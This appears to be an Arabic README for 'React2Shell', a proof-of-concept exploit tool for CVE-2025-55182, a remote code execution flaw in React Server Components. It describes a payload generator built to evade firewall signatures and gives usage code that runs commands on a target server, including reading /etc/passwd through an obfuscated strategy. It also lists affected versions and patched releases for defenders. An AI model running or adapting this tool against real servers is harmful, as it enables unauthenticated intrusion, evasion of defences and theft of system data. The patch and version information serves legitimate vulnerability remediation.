
React2Shell (CVE-2025-55182) - استغلال إثبات المفهوم (PoC) يوضح ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في أطر الويب الحديثة التي تستخدم مكونات خادم React (RSC).
رياكت2شيل هو إثبات مفهوم (PoC) يستغل ثغرة حرجة لتنفيذ أوامر عن بُعد (RCE) في أطر الويب الحديثة التي تستخدم مكونات خادم رياكت (RSC).
يستهدف هذا الإثبات CVE-2025-55182، وهي ثغرة بتقييم CVSS 10.0 تسمح للمهاجمين عن بُعد غير المصادقين بتنفيذ أوامر نظام عشوائية عبر إلغاء تسلسل غير آمن داخل تنفيذ مكونات خادم رياكت.
رياكت2شيل يستغل عيبًا في كيفية معالجة مكونات خادم رياكت للمدخلات غير الموثوقة خلال مرحلة إعادة الترطيب.
تنشأ الثغرة من الحزم الأساسية react-server-dom-* المسؤولة عن تسلسل وإلغاء تسلسل أشجار المكونات.
قد تقوم التطبيقات التي تستخدم إصدارات متأثرة من مكونات خادم رياكت بمعالجة حمولات ضارة بطريقة تؤدي إلى تنفيذ أوامر عن بُعد (RCE) تحت صلاحيات عملية الخادم.
يمكن للمهاجم:
إذا كان نشرك يطابق أيًا من الإصدارات المتأثرة أدناه ويعرض نقاط نهاية RSC، فأنت عرضة للثغرة.
الثغرة موجودة في الإصدارات 19.0.0 و 19.1.0 و 19.1.1 و 19.2.0 من:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackيتم تضمين هذه الحزم في أطر متعددة، بما في ذلك على سبيل المثال لا الحصر:
15.0.0 حتى 16.0.614.3.0-canary.76RSC (v19.0.0–19.2.0) مثل:
ViteParcelReact RouterRedwoodSDKWakuأي إطار يدمج تنفيذ مكونات خادم رياكت المتأثر يحتمل أن يكون متأثرًا.
يتضمن رياكت2شيل مولد حمولات معياري مصمم لتجاوز قيود Node.js الشائعة وقواعد جدار الحماية:
الحقن القياسي
process.mainModule.requireNext.js / Webpack الافتراضية.تجاوز غير متزامن
import() الديناميكي لبيئات ESM الصارمة حيث يكون require غير متوفر.التعتيم
child_process) في مخازن سداسية عشرية لتجنب توقيعات جدار الحماية البسيطة.الرجوع إلى الوحدة النمطية
module.createRequire لتحميل الوحدات في سياقات بديلة.الاستهداف الشامل
//RSC/foo.txtNode.js v18.0.0 أو أعلى.git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
رياكت2شيل مصمم لاستيراده كوحدة نمطية في نصوص الاختبار الخاصة بك.
أنشئ ملفًا باسم exploit.js:
const React2Shell = require('./src/react2shell');
// التهيئة باستخدام عنوان URL الأساسي للهدف
const target = new React2Shell('http://localhost:3000');
// تنفيذ الأمر باستخدام استراتيجية "قياسية"
// الوسائط: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
ثم قم بتشغيل:
node exploit.js
ملاحظة
- يجب تعيين
endpointإلى مسار يدعم RSC (على سبيل المثال،/أو/RSC/foo.txtأو نقاط نهاية RSC خاصة بالإطار).- يمكن تغيير
strategy(على سبيل المثال،standardوasyncوobfuscatedأو أي استراتيجية أخرى منفذة فيreact2shell).
غالبًا ما تعرض Waku والأطر الأخرى معالجة RSC على مسارات محددة:
// استهداف تطبيق Waku
// ملاحظة: استخدم استراتيجية 'async' حيث أن Waku غالبًا ما تعمل في ESM صارم
target.execute('ls -la', '/RSC/foo.txt', 'async');
إذا كان الخادم يحظر السلاسل التي تحتوي على child_process، يمكنك استخدام استراتيجية obfuscated:
target.execute('cat /etc/passwd', '/', 'obfuscated');
حدث فورًا. تتضمن الإصدارات المحدثة من رياكت والأطر المتأثرة التابعة له معالجة محسّنة للمدخلات لمنع السلوك غير المقصود.
يجب على جميع المستخدمين الترقية إلى إصدار مصحح في أقرب وقت ممكن.
فيما يلي القائمة النهائية للإصدارات المصححة. إذا كان إصدارك المنشور أقل من هذه، فأنت عرضة للثغرة.
تحذير لمستخدمي Next.js 14
إذا كنت تستخدمNext.js 14.3.0-canary.77أو إصدار كاناري أحدث، فأنتعرضة للثغرة.
يجب عليك الرجوع فورًا إلى أحدث إصدار مستقر من14.x، حيث أن الثغرة تؤثر على تنفيذ RSC التجريبي الموجود في إصدارات الكاناري هذه.
يتم توفير هذا المشروع لأغراض تعليمية واختبار أمني مصرح به فقط.
استخدام هذه الأداة ضد أنظمة بدون إذن صريح غير قانوني وغير أخلاقي.
لا يتحمل المؤلف(ون) أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.
| المقياس | التفاصيل |
|---|
| الخطورة | حرجة (10.0 / 10.0) |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| ناقل الهجوم | شبكة (عن بُعد) |
| تفاعل المستخدم | لا شيء |
| البرنامج / الحزمة | الفرع / النوع | 🛡️ الإصدارات الثابتة / الآمنة |
|---|
React | مستقر | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (مستقر) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (مستقر) | 16.0.7 |
Next.js | كاناري | 15.6.0-canary.58 |